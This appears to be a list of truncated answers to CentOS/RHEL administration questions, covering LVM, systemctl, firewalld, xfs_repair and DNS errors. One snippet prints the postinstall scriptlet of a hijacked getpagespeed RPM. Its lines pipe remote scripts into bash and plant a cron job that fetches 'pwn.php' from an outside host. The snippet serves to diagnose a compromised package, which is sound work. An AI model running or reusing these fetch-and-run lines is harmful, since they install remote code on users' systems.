In my case I had this problem: [root@test ~]# pvcreate /dev/vdb Device /dev/vdb excluded by a filter. [root@test ~]# pvcreate /dev/vdb -vvv … /dev/vdb: size is 385 sectors /dev/vdb: Skipping: Too small to hold a PV Closed /dev/vdb … So I checked the size of the disk and surprise: [root@test ~]# fdisk -l /dev/vdb Disk … Read more
systemctl is not like the good old init-scripts. According to its man page, it supports the following commands that are like the init-script commands you are searching for: start Start (activate) one or more units specified on the command line. stop Stop (deactivate) one or more units specified on the command line. reload Asks all … Read more
You can reduce your home LV as long as it’s unmounted. (please keep in mind that shrinking has some risks ) Go like this: umount /dev/mapper/centos-home lvreduce -L 200G /dev/mapper/centos-home Mount back your home partition as you’re done with it. Then just extend your root volume. lvextend -t -r -l+100%FREE /dev/mapper/centos-root -t is test, if … Read more
Firewalld stores its configuration in /etc/firewalld and within that directory you can find various configuration files: firewalld.conf provides overall configuration. Files in the zones directory provide your custom firewall rules for each zone. Files in the services directory provide custom services you have defined. Files in the icmptypes directory provide custom icmptypes you have defined. … Read more
Check it is actually needed Firstly check the python application as it could be out of date and is probably misreading the glibc version. CentOS shows the base version as installed and is patched to keep up with changes and it could just be a case of fixing the version that is being looked for … Read more
# rpm -qp –scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY postinstall scriptlet (using /bin/sh): curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1 https://www.getpagespeed.com/SCM/release-post-install.php contains: #!/bin/bash ### hacked by rpowned # bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1 echo ’53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | … Read more
I ran into the same trouble on RHEL 7.3 and found this: You may then refer to variables set in the /etc/sysconfig/httpd file with ${FOOBAR} and $FOOBAR, in the ExecStart lines (and related lines). This makes me think that the purpose for Environment and EnvironmentFile is not at all what you and I expected (setting … Read more
If you’re attempting to run xfs_repair, getting the error message that suggests mounting the filesystem to replay the log, and after mounting still receiving the same error message, you may need to perform a forced repair (using the -L flag with xfs_repair). This option should be a last resort. For example, I’ll use a case … Read more
Could not resolve host: mirrorlist.centos.org; Unknown error This indicates that you either (a) don’t have a properly configured DNS server or (b) your network configuration isn’t correct and you can’t connect to a DNS server to check the hostname mirrorlist.centos.org. Try using ping 8.8.8.8. If this fails, try ping <local-gateway-ip>. If that also fails, your … Read more
There are three steps to make: alter your partition table so sda2 ends at end of disk reread the partition table (will require a reboot) resize your LVM pv using pvresize Step 1 – Partition table Run fdisk /dev/sda. Issue p to print your current partition table and copy that output to some safe place. … Read more